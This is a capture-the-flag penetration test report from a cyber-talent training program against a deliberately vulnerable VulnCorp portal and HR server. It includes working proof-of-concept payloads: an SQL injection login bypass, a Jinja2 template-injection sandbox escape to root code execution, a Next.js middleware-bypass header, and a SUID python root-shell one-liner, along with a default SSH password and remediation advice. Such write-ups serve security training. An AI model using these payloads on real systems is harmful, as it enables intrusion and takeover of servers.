

PENETRATION TEST REPORT

VulnCorp Internal Portal — CTF Engagement

Target	VulnCorp Internal Portal v2.4.1
IP Address	54.242.138.150
Additional	HR Portal v3.2.1 — port 3000 (Next.js)
Test Type	Black Box — Web Application Penetration Test
Tester	Azariya Chombe (INSA Cyber Talent — Red Team Track)
Date	Saturday, June 07, 2026
Classification	CONFIDENTIAL — For Authorized Eyes Only



CONFIDENTIAL — FOR AUTHORIZED EYES ONLY

INSA National Ethio Cyber Talent Weekend Program | Red Team Track | Day 22

1. Executive Summary

A black-box penetration assessment was conducted against the VulnCorp Internal Employee Portal (v2.4.1) and associated HR Portal (v3.2.1) hosted at 54.242.138.150 on June 7, 2026, as part of the INSA National Ethio Cyber Talent Weekend Program — Red Team Track, Day 22. The assessment identified 12 exploited vulnerabilities across both applications, spanning the full OWASP Top 10 and extending to a real-world CVE (CVE-2025-29927), culminating in complete compromise of both servers including unauthenticated data exposure, full administrative takeover, remote code execution as root, and lateral movement to a second internal server.

Beginning from zero credentials, the attack chain progressed from passive reconnaissance through SQL injection authentication bypass, privilege escalation via mass assignment, stored XSS for admin session hijacking, server-side template injection for root RCE, Next.js middleware bypass for HR portal access, and finally SUID python3.14 privilege escalation on the HR server. All 12 CTF flags were captured. Overall risk rating: **CRITICAL**.

12	Total vulnerabilities exploited
6	CRITICAL severity findings
3	HIGH severity findings
2	Servers fully compromised (root)
12 / 12	CTF flags captured
1	Real-world CVE exploited (CVE-2025-29927)

2. Findings Overview

ID	Vulnerability	Severity	CVSS
VULN-001	Sensitive Data in HTTP Response Headers	INFO	5.3
VULN-002	Information Disclosure via robots.txt	LOW	3.7
VULN-003	IDOR on User API	HIGH	7.5
VULN-004	Broken Access Control / Mass Assignment	CRITICAL	9.1
VULN-005	SQL Injection — Authentication Bypass	CRITICAL	9.8
VULN-006	Unrestricted File Upload	HIGH	8.1
VULN-007	Stored XSS — Admin Cookie Theft	HIGH	7.4
VULN-008	SSTI — Remote Code Execution as Root	CRITICAL	10.0
VULN-009	OS Command Injection (WAF Bypass)	CRITICAL	9.8
VULN-010	Hardcoded Bot Secret / Admin Takeover	HIGH	8.8
VULN-011	CVE-2025-29927 Next.js Middleware Bypass	CRITICAL	9.1
VULN-012	SUID python3.14 Privilege Escalation	CRITICAL	8.8

3. Attack Chain Overview

01 Passive Recon	HTTP headers leaked flag + stack info; robots.txt exposed hidden paths
02 Port Scan	Discovered port 3000 (HR Portal / Next.js); nmap identified nginx on port 80
03 IDOR	Enumerated /api/user/1..30; extracted admin email, alice notes flag
04 Mass Assignment	POST /profile with role=admin; accessed admin private document flag
05 SQL Injection	alice'-- bypassed auth; logged in as approved employee alice
06 File Upload Bypass	Uploaded shell.phtml bypassing JS whitelist; triggered upload flag
07 Stored XSS	Injected fetch() payload in feedback form; stole admin_session cookie via Collaborator
08 SSTI -> RCE	__cla'+ss__ bypassed sandbox; RCE as root via subprocess.Popen
09 Admin Takeover	/api/set-admin-session?secret=botSecret123; hardcoded secret gave full admin session
10 Cmd Injection	Diagnostics WAF bypassed with \$() + \${IFS}; RCE flag via grep on app.py
11 CVE-2025-29927	x-middleware-subrequest: src/middleware bypassed HR Portal auth; employee & payroll data exposed
12 SUID Privesc	python3.14 SUID -> os.setuid(0); full root on HR server 34.239.170.92

4. Technical Findings

VULN-001 Sensitive Data Exposure via HTTP Headers

INFO

CVSS v3.1: 5.3

CWE: CWE-200

Asset: http://54.242.138.150

FLAG CAPTURED: FLAG{p4ss1v3_r3c0n_m3t4d4t4_l34k}

Description

Every HTTP response includes a custom X-Debug-Token header containing a CTF flag, and an X-Powered-By header revealing the exact backend framework (Flask 2.3) and application version (VulnCorp-Portal/2.4.1). HTML source comments also expose developer email, build tag, and debug endpoint references.

Proof of Concept

```
GET /register HTTP/1.1 Host: 54.242.138.150 Response: X-Debug-Token: FLAG{p4ss1v3_r3c0n_m3t4d4t4_l34k}
X-Powered-By: VulnCorp-Portal/2.4.1 Flask/2.3
```

Remediation

Remove all debug headers from production. Suppress X-Powered-By. Audit HTML templates for embedded developer comments before deployment.

VULN-005 SQL Injection — Authentication Bypass

CRITICAL

CVSS v3.1: 9.8

CWE: CWE-89

Asset: POST http://54.242.138.150/login

FLAG CAPTURED: FLAG{sql1_4uth_byp4ss_pwn3d}

Description

The login endpoint constructs SQL queries by directly interpolating user-supplied input without parameterisation. The vulnerable query: `SELECT * FROM users WHERE username = '{username}' AND password = '{password_hash}'`. Injecting SQL metacharacters into the username field comments out the password check, authenticating as any user without a password.

Proof of Concept

```
POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded
username=alice'--&password=anything # Result: 302 redirect to /dashboard # Logged in as alice (ID: 2, approved=True)
```

Remediation

Replace all string-interpolated queries with parameterised statements: `db.execute('SELECT * FROM users WHERE username=? AND password=?', (username, hash))`. Reject usernames containing SQL metacharacters.

VULN-008 Server-Side Template Injection — RCE as Root

CRITICAL

CVSS v3.1: 10.0

CWE: CWE-94

Asset: POST http://54.242.138.150/profile

FLAG CAPTURED: FLAG{5st1_t3mpl4t3_1nj3ct10n_rce}

Description

The Greeting Template field is rendered via Jinja2 Environment (not SandboxedEnvironment). The application attempts to block dunder attribute access but the check operates on static strings and is bypassed by constructing restricted attribute names dynamically via string concatenation at runtime.

Proof of Concept

```
# Confirm SSTI: {{ 7 * 7 }} => 49 # Sandbox bypass via concatenation: {%set a='__cla'+ 'ss__'%}{%set b='__ba'+ 'se__'%}{%set c='__subcla'+ 'sses__'%} {{'|attr(a)|attr(b)|attr(c)|'}} # RCE:
{{x('id', shell=True, stdout=-1).communicate()}} => uid=0(root)
```

Remediation

Replace Jinja2 Environment with SandboxedEnvironment. Better: eliminate user-controlled template rendering entirely. Run the application as a non-root user.

VULN-011 CVE-2025-29927 — Next.js Middleware Bypass			CRITICAL
CVSS v3.1: 9.1	CWE: CWE-287	Asset: http://54.242.138.150:3000/internal/*	
FLAG CAPTURED: FLAG{cve_2025_29927_m1ddl3w4r3_byp4ss_pwn3d}			

Description
The HR Portal (Next.js 14.1.0) is vulnerable to CVE-2025-29927. Next.js uses the x-middleware-subrequest header to track recursive middleware calls. When set by an external attacker to 'src/middleware', middleware is skipped entirely, bypassing all route-level authentication on /internal/* and /dashboard/*.

Proof of Concept

```
GET /internal/employees HTTP/1.1 Host: 54.242.138.150:3000 x-middleware-subrequest: src/middleware #
Response: HTTP 200 OK # Full employee directory + payroll records + SSH credentials exposed #
FLAG{cve_2025_29927_m1ddl3w4r3_byp4ss_pwn3d}
```

Remediation
Upgrade Next.js to 14.2.25+ or 15.2.3+. Interim: configure nginx to strip the header. Implement server-side session checks within each protected handler as defence in depth.

VULN-012 SUID python3.14 — Local Privilege Escalation			CRITICAL
CVSS v3.1: 8.8	CWE: CWE-250	Asset: HR Server — 34.239.170.92	
FLAG CAPTURED: FLAG{su1d_py3_r00t_3sc4l4t10n_pwn3d}			

Description
Python 3.14 on the HR server has the SUID bit set (-rwsr-xr-x root). Python's os.setuid(0) respects the SUID effective UID, allowing any local user to spawn a root shell with a single one-liner (GTF0Bins vector). Combined with SSH lateral movement via default credentials discovered via CVE-2025-29927, this achieves full root on the HR server.

Proof of Concept

```
# SSH with credentials from payroll page: ssh hr-admin@34.239.170.92 # pass: HRportal2024! # Confirm
SUID: find / -perm -4000 2>/dev/null | grep python # => /usr/bin/python3.14 # Privesc: python3.14 -c
"import os; os.setuid(0); os.system('/bin/bash -p')" # uid=0(root) gid=1000(hr-admin) # cat
/root/root.txt => FLAG{su1d_py3_r00t_3sc4l4t10n_pwn3d}
```

Remediation
Remove SUID bit immediately: chmod u-s /usr/bin/python3.14. Audit all SUID/SGID binaries regularly. No interpreter should ever have SUID set. Change default SSH credentials.

5. Flag Summary

#	Flag Value	Attack Vector	Finding	Severity
1	FLAG{p4ss1v3_r3c0n_m3t4d4t4_l34k}	HTTP Response Header	VULN-001	INFO
2	FLAG{r3c0n_m4st3r_r0b0ts_txt}	robots.txt Comment	VULN-002	LOW
3	FLAG{1d0r_ch4mp_acc3ss_d3n13d_lo1}	IDOR /api/user/2	VULN-003	HIGH
4	FLAG{br0k3n_4cc3ss_c0ntr01_0wn3d}	Mass Assignment /profile	VULN-004	CRITICAL
5	FLAG{sql1_4uth_byp4ss_pwn3d}	SQLi Auth Bypass	VULN-005	CRITICAL
6	FLAG{f1l3_upl04d_w3bsh3ll_dr0pp3d}	File Upload Bypass	VULN-006	HIGH
7	FLAG{x55_st0r3d_c00k13_st013n}	Stored XSS Cookie Theft	VULN-007	HIGH
8	FLAG{5st1_t3mpl4t3_1nj3ct10n_rce}	SSTI Sandbox Escape RCE	VULN-008	CRITICAL
9	FLAG{rce_full_pwn_y0u_0wn_th3_b0x}	Cmd Injection WAF Bypass	VULN-009	CRITICAL
10	FLAG{cve_2025_29927_m1ddl3w4r3_byp4ss_pwn3d}	Next.js Middleware Bypass	VULN-011	CRITICAL
11	FLAG{cve_2025_29927_ssh_l4t3r4l_m0v3}	SSH Lateral Movement HR Server	VULN-011	HIGH
12	FLAG{su1d_py3_r00t_3sc4l4t10n_pwn3d}	SUID python3.14 Root Privesc	VULN-012	CRITICAL

6. Remediation Tracker

ID	Finding	Priority	Recommended Fix	Effort
VULN-011	CVE-2025-29927 Next.js Bypass	IMMEDIATE	Upgrade Next.js to 14.2.25+	Low
VULN-012	SUID python3.14 Privesc	IMMEDIATE	chmod u-s /usr/bin/python3.14	Low
—	Default SSH Password	IMMEDIATE	Change HRportal2024! immediately	Low
VULN-005	SQL Injection	IMMEDIATE	Parameterised queries throughout	Low
VULN-008	SSTI / RCE	IMMEDIATE	SandboxedEnvironment or no user templates	Low
VULN-010	Hardcoded Bot Secret	IMMEDIATE	Remove endpoint; env var, no default	Low
VULN-004	Mass Assignment	IMMEDIATE	Whitelist allowed POST fields only	Low
VULN-009	Command Injection	IMMEDIATE	Arg list; regex allowlist on host	Low
—	Flask Secret Key	IMMEDIATE	Strong random key via env var	Low
VULN-007	Stored XSS	HIGH	HTML encode output; set HttpOnly	Low
VULN-003	IDOR	HIGH	Add ownership check to API endpoints	Low
VULN-006	File Upload Bypass	HIGH	Server-side extension + MIME check	Medium
—	Weak MD5 Passwords	HIGH	Use bcrypt or argon2 with salt	Medium

VULN-001	Header Info Disclosure	MEDIUM	Remove debug headers	Low
VULN-002	robots.txt Disclosure	LOW	Remove sensitive paths	Low

End of Report — VulnCorp Portal Penetration Test — Azariya Chombe — June 07, 2026
INSA National Ethio Cyber Talent Weekend Program | Red Team Track | Day 22